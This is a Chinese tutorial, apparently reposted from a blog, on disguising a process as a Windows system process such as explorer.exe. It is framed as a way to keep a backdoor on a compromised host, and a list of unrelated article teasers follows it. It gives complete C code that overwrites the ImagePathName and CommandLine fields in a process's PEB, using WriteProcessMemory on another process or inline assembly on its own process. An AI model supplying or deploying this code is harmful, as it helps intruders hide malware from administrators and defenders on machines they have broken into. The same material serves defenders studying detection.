进程伪装详解

前言

当我们获取到一台主机的权限过后,拿到了自己想要搜集的信息,这时候我们就会留一个后门进行权限维持,权限维持的学问其实很深,今天就主要介绍其中一种比较简单的权限维持的方法 -- 进程伪装。

我们知道在windows里面有很多系统进程,如winlogon.exeexplorer.exeservices.exe等等,这些exe都是Windows必须具有的exe,当缺失某些exe的时候,windows就不能够正常运行,所以我们如果想到实现进程伪装,最好的选择就是伪装成系统必备的exe,当我们进行进程伪装之后,在系统中显示的就会是系统进程的信息,但这个程序还是能够执行它正常的功能,这样就达到了进程伪装、权限维持的作用。

思路

我们判断一个进程是否被劫持,一般是看他的进程名以及path,即启动路径来判断,那么反推即可得到,我们可以通过修改进程模块中的进程路径以及进程名来实现进程伪装的作用

比如我们这里再看看explorer的进程名和启动路径

那么这里我们改人如何获取进程的这些信息呢,这里可以使用到ntdll.dll里面的NtQueryInformationProcess来获取进程的PEB地址,这里稍微提一个概念,什么是PEB?

PEB,即Process Envirorment Block Structure,英文翻译过来就是进程环境信息块,这里包含了写进程的信息。它的完整结构如下:

typedef struct _PEB {
  BYTE                          Reserved1[2];
  BYTE                          BeingDebugged; //被调试状态
  BYTE                          Reserved2[1];
  PVOID                         Reserved3[2];
  PPEB_LDR_DATA                 Ldr;
  PRTL_USER_PROCESS_PARAMETERS  ProcessParameters;
  BYTE                          Reserved4[104];
  PVOID                         Reserved5[52];
  PPS_POST_PROCESS_INIT_ROUTINE PostProcessInitRoutine;
  BYTE                          Reserved6[128];
  PVOID                         Reserved7[1];
  ULONG                         SessionId;
} PEB, *PPEB;

这里就不深究每个属性的含义了,这里拿到PEB结构之后我们就能够对进程的一些属性进行修改就能够实现进程伪装的效果,但是这里并不能够通过指针来直接速写内存数据,因为每个程序都有自己独立的空间,所以这里就需要用到ReadProcessMemoryWriteProcessMemory来读写进程

BOOL ReadProcessMemory(
  [in]  HANDLE  hProcess,
  [in]  LPCVOID lpBaseAddress,
  [out] LPVOID  lpBuffer,
  [in]  SIZE_T  nSize,
  [out] SIZE_T  *lpNumberOfBytesRead
);
BOOL WriteProcessMemory(
  [in]  HANDLE  hProcess,
  [in]  LPVOID  lpBaseAddress,
  [in]  LPCVOID lpBuffer,
  [in]  SIZE_T  nSize,
  [out] SIZE_T  *lpNumberOfBytesWritten
);

实现过程

首先使用OpenProcess打开进程句柄

HANDLE hProcess = ::OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwProcessId);

然后从ntdll.dll中获取NtQueryInformationProcess的导出地址,因为这个函数没有关联导入库,所以只能动态获取地址

NtQueryInformationProcess = (typedef_NtQueryInformationProcess)::GetProcAddress(::LoadLibrary("ntdll.dll"), "NtQueryInformationProcess");

我们获取到到处地址过后需要注意一下NtQueryInformationProcess结构里面的PROCESS_BASIC_INFORMATION这个值,首先看下结构

__kernel_entry NTSTATUS NtQueryInformationProcess(
  [in]            HANDLE           ProcessHandle,
  [in]            PROCESSINFOCLASS ProcessInformationClass,
  [out]           PVOID            ProcessInformation,
  [in]            ULONG            ProcessInformationLength,
  [out, optional] PULONG           ReturnLength
);

其中第三个值PROCESS_BASIC_INFORMATION 指向调用应用程序提供的缓冲区的指针,函数将请求的信息写入该缓冲区。写入的信息大小取决于ProcessInformationClass参数的数据类型

当ProcessInformationClass 参数是ProcessBasicInformation,缓冲器指向的PROCESSINFORMATION参数应该足够大,以保持单个PROCESS_BASIC_INFORMATION具有下述布局结构:

typedef struct _PROCESS_BASIC_INFORMATION {
    PVOID Reserved1;
    PPEB PebBaseAddress;
    PVOID Reserved2[2];
    ULONG_PTR UniqueProcessId;
    PVOID Reserved3;
} PROCESS_BASIC_INFORMATION;

那么我们如何定位到PEB结构呢?

FS段寄存器指向当前的TEB结构,在TEB偏移0x30处是PEB指针,通过这个指针即可取得PEB的地址,可以通过汇编实现

__asm
{
mov eax,fs:[0x30]
mov PEB,eax
}

这里我们要修改两个参数,一个是命令行参数,一个是path参数,这里用winDBG跟一下PEB的结构

首先是在0x20偏移的地方,有一个叫ProcessParameters的属性值,其结构体为_RTL_USER_PROCESS_PARAMETERS,继续往里面跟

在0x60偏移的地方,ImagePathName即为可执行文件的路径,结构体为_UNICODE_STRING,它的0x08偏移指向了一个Buffer,Buffer的内容为可执行文件路径的字符串。同理,0x70偏移则指向了 CommandLine为命令行参数

那么我们首先获取结构中的PebBaseAddressProcessPamameters

::ReadProcessMemory(hProcess, pbi.PebBaseAddress, &peb, sizeof(peb), NULL);
::ReadProcessMemory(hProcess, peb.ProcessParameters, &Param, sizeof(Param), NULL);

修改命令行信息的话就是修改结构中的BufferLength字段,在CommandLine这个结构里面

    CmdLen = 2 + 2 * ::wcslen(lpwszCmd);
    ::WriteProcessMemory(hProcess, Param.CommandLine.Buffer, lpwszCmd, CmdLen, NULL);
    ::WriteProcessMemory(hProcess, &Param.CommandLine.Length, &CmdLen, sizeof(CmdLen), NULL);

同理修改路径信息的话也是修改BufferLength字段,这里的结构就是ImagePathName

    PathLen = 2 + 2 * ::wcslen(lpwszPath);
    ::WriteProcessMemory(hProcess, Param.ImagePathName.Buffer, lpwszPath, PathLen, NULL);
    ::WriteProcessMemory(hProcess, &Param.ImagePathName.Length, &PathLen, sizeof(PathLen), NULL);

那么到这里我们就已经修改了命令行跟路径的字段,完整代码如下

BOOL DisguiseProcess(DWORD dwProcessId, wchar_t* lpwszPath, wchar_t* lpwszCmd)
{
    
    // 打开进程获取句柄
    HANDLE hProcess = ::OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwProcessId);
    if (NULL == hProcess)
    {
        printf("[!] OpenProcess failed,error is : %d", GetLastError());
        return FALSE;
    }

    typedef_NtQueryInformationProcess NtQueryInformationProcess = NULL;
    PROCESS_BASIC_INFORMATION pbi = { 0 };
    PEB peb = { 0 };
    RTL_USER_PROCESS_PARAMETERS Param = { 0 };
    USHORT CmdLen = 0;
    USHORT PathLen = 0;

    // 需要通过 LoadLibrary、GetProcessAddress 从 ntdll.dll 中获取地址
    NtQueryInformationProcess = (typedef_NtQueryInformationProcess)::GetProcAddress(
        ::LoadLibrary("ntdll.dll"), "NtQueryInformationProcess");

    if (NULL == NtQueryInformationProcess)
    {
        printf("[!] NtQueryInformationProcess failed,error is : %d\n\n", GetLastError());
        return FALSE;
    }

    // 获取指定进程的基本信息

    NTSTATUS status = NtQueryInformationProcess(hProcess, ProcessBasicInformation, &pbi, sizeof(pbi), NULL);
    
    if (!NT_SUCCESS(status))
    {
        printf("[!] GetProcess information failed,error is : %d\n\n", GetLastError());
        return FALSE;
    }


    // 获取PebBaseAddress
    ::ReadProcessMemory(hProcess, pbi.PebBaseAddress, &peb, sizeof(peb), NULL);
    // 获取ProcessParameters
    ::ReadProcessMemory(hProcess, peb.ProcessParameters, &Param, sizeof(Param), NULL);
    // 修改命令行信息,即CommandLine结构里面的Buffer和Length字段
    CmdLen = 2 + 2 * ::wcslen(lpwszCmd);
    ::WriteProcessMemory(hProcess, Param.CommandLine.Buffer, lpwszCmd, CmdLen, NULL);
    ::WriteProcessMemory(hProcess, &Param.CommandLine.Length, &CmdLen, sizeof(CmdLen), NULL);
    // 修改路径信息,即ImagePathName结构里面的Buffer和Length字段
    PathLen = 2 + 2 * ::wcslen(lpwszPath);
    ::WriteProcessMemory(hProcess, Param.ImagePathName.Buffer, lpwszPath, PathLen, NULL);
    ::WriteProcessMemory(hProcess, &Param.ImagePathName.Length, &PathLen, sizeof(PathLen), NULL);
    return TRUE;
}

这里也可以使用asm指向PEB结构进行数据的修改,其实跟上面的思路一样,也是指向BufferLength字段进行修改,但是这里定位到PEB结构是使用指针的方式,实现的效果是相同的

BOOL DisguiseProcess(wchar_t *lpwszPath, wchar_t *lpwszCmd)
{
    // 打开进程获取句柄
    HANDLE hProcess = GetModuleHandle(NULL);

    PPEB peb = { 0 };
    USHORT usCmdLen = 0;
    USHORT usPathLen = 0;
    
    __asm
    {
        mov    eax,fs:[30h]
        mov peb,eax
    }

    usCmdLen = 2 + 2 * wcslen(lpwszCmd);
    (*peb).ProcessParameters->CommandLine.Buffer = lpwszCmd;
    (*peb).ProcessParameters->CommandLine.Length = usCmdLen;

    usPathLen = 2 + 2 * wcslen(lpwszPath);
    (*peb).ProcessParameters->ImagePathName.Buffer = lpwszPath;
    (*peb).ProcessParameters->ImagePathName.Length = usPathLen;

    return TRUE;
}

 

实现效果

这里演示下第一个代码实现效果,选择的是有道云进行进程伪装成explorer,首先看一下explorer的详细信息

运行一下程序,已经看到修改成功

再去看一下有道云这边,可以看到已经实现了进程伪装

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/445186.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

Jetpack Navigation

1.Navigation的诞生与优势 这个留到Compose去学

探索机器学习的无限可能性:从初学者到专家的旅程

探索机器学习的无限可能性:从初学者到专家的旅程 在当今数字时代,机器学习无疑是最引人注目的技术之一。它已经深入到我们生活的方方面面,从个性化推荐到自动驾驶汽车,再到医疗诊断和金融预测。但是,即使我们已经见证…

时间复杂度之大O表示法

一、概念 O表示法: 设T( n)和 g( n)是正整数集到正实数集上的函数。 称T( n) O( g( n)) ,当且仅当存在一个正常数 C 和 n0,使得对任意 的 n ≥ n0,有T( n) ≤ C g( n)。 其中:n 是算法输入的规模,如数组的…

【ghost】制作一个DOS启动盘用于备份/恢复系统

常用的DOS启动盘制作工具有USBoot、Ghost及FlashBoot等,本次DOS启动盘使用Ghost工具制作。 制作前准备 装有win10(或win7)系统的PC机,1台;U盘,1个;(建议用户选择兼容性较高的金士顿U盘;此次演…

JAVA实战开源项目:快递管理系统(Vue+SpringBoot)

目录 一、摘要1.1 项目介绍1.2 项目录屏 二、研究内容2.1 数据中心模块2.2 快递类型模块2.3 快递区域模块2.4 快递货架模块2.5 快递档案模块 三、界面展示3.1 登录注册3.2 快递类型3.3 快递区域3.4 快递货架3.5 快递档案3.6 系统基础模块 四、免责说明 一、摘要 1.1 项目介绍 …

Linux系统架构----LNMP平台部署中部署wordpress

Linux系统架构----LNMP平台部署中部署wordpress 一、LNMP的概述 LNMP为Linux平台,Nginx web服务软件,mysql数据库软件,PHP编辑语言LNMP系统架构相对于LAMP的优点是LNMP比较节省内存,主要支持静态请求,但在访问量大的…

力扣坑题:加一

注意数组扩容方法 /*** Note: The returned array must be malloced, assume caller calls free().*/ int* plusOne(int* digits, int digitsSize, int* returnSize) {int indexdigitsSize-1,pos1;while(index>0){digits[index]1;if(digits[index]10){digits[index]0;index-…

Django环境下使用Ajax

Django环境下使用Ajax 目录 Django环境下使用Ajax介绍前情提要示例JS实现Ajax实现 传递JSON格式数据传递文件数据Django自带的序列化组件基于jsonresponse序列化数据基于Django自带的serializers 介绍 AJAX 的主要目标是在不刷新整个页面的情况下,通过后台与服务器…

ROS2参数服务的实现

文章目录 1.参数服务的概念及应用场景1.1 概念1.2 应用场景 2.准备工作3.参数服务的实现3.1 参数数据类型的使用3.2 服务端的实现3.3 客户端的实现3.4 编译及运行 1.参数服务的概念及应用场景 1.1 概念 参数服务是以共享的方式实现不同节点之间数据交互的一种通信模式。保存参…

微信小程序-入门

一.通过 Npm方式下载构建 1.下载和安装Npm:Npm https://docs.npmjs.com/downloading-and-installing-node-js-and-npm 或者 https://nodejs.org/en/download/ 未安装npm 提示 以下以安装node安装包为例 按任意键继续 安装完成后 2. 下载和安装小程序开…

每日学习笔记:C++ STL 的Vector

Vector定义 Vector的大小与容量 Vector的函数 操作注意事项 Vector当作C数组 vector<bool>

Sora盈利新路径:基于技术创新与跨界融合

在数字化时代&#xff0c;技术的飞速进步为企业带来了前所未有的盈利机会。Sora作为一款前沿的AI视频生成工具&#xff0c;其盈利新路径可以基于技术创新与跨界融合两个核心策略来探索。 一、技术创新&#xff1a;持续引领行业前沿 Sora学习资料&#xff1a;使用方式完整文档…

AcWing 898. 数字三角形

解题思路 相关代码 import java.util.Scanner;public class Main {public static void main(String[] args){Scanner scanner new Scanner(System.in);int n scanner.nextInt();int a[][] new int[n1][n1];for(int i1;i<n;i)for(int j1;j<i;j)a[i][j] scanner.nextI…

T1 小美的数组询问(15分) - 美团编程题 题解

考试平台&#xff1a; 牛客网 题目类型&#xff1a; 30道单选题&#xff08;60分&#xff09; 2 道编程题 &#xff08;15分 25分&#xff09; 考试时间&#xff1a; 2024-03-09 &#xff08;两小时&#xff09; 题目描述 小美拿到了一个由正整数组成的数组&#xff0c;但其中…

网络安全:OpenEuler 部署 jumpserver 堡垒机

目录 一、实验 1.环境 2.OpenEuler 部署 jumpserver 堡垒机 3.OpenEuler 使用 jumpserver 堡垒机&#xff08;管理Linux&#xff09; 4.OpenEuler 使用 jumpserver 堡垒机&#xff08;管理Windows&#xff09; 二、问题 1.jumpserver 安装报错 一、实验 1.环境 &#x…

Java零基础-多维数组

哈喽&#xff0c;各位小伙伴们&#xff0c;你们好呀&#xff0c;我是喵手。 今天我要给大家分享一些自己日常学习到的一些知识点&#xff0c;并以文字的形式跟大家一起交流&#xff0c;互相学习&#xff0c;一个人虽可以走的更快&#xff0c;但一群人可以走的更远。 我是一名后…

streamlit学习-如何播放HLS视频(streamlit嵌入html)

streamlit学习-如何播放HLS视频 一.效果二.直播环境搭建(仅供演示)1.生成m3u82.搭建http服务器(支持跨域)3.验证hls(VLC播放 http://localhost:8000/playlist.m3u8) 三.streamlit demo 本文演示了streamlit如何实现hls直播[streamlit中嵌入html] 一.效果 二.直播环境搭建(仅供演…

[Spring] IoC 控制反转和DI依赖注入和Spring中的实现以及常见面试题

目录 1. 什么是Spring 2.什么是IoC容器 3.通过实例来深入了解IoC容器的作用 3.1造一量可以定义车辆轮胎尺寸的车出现的问题 3.2解决方法 3.3IoC优势 4.DI介绍 5.Spring中的IoC和DI的实现 5.1.存对象 5.1.2 类注解 5.1.3 方法注解 5.2取对像 (依赖注入) 5.2.1.属性…

《深度学习风暴:掀起智能革命的浪潮》

在当今信息时代,深度学习已经成为科技领域的一股强大力量,其应用领域涵盖了从医疗到金融再到智能交互等方方面面。随着技术的不断进步和应用的不断拓展,深度学习的发展势头愈发迅猛,掀起了一股智能革命的浪潮。本文将从基本原理、应用实例、挑战与未来发展方向、与机器学习…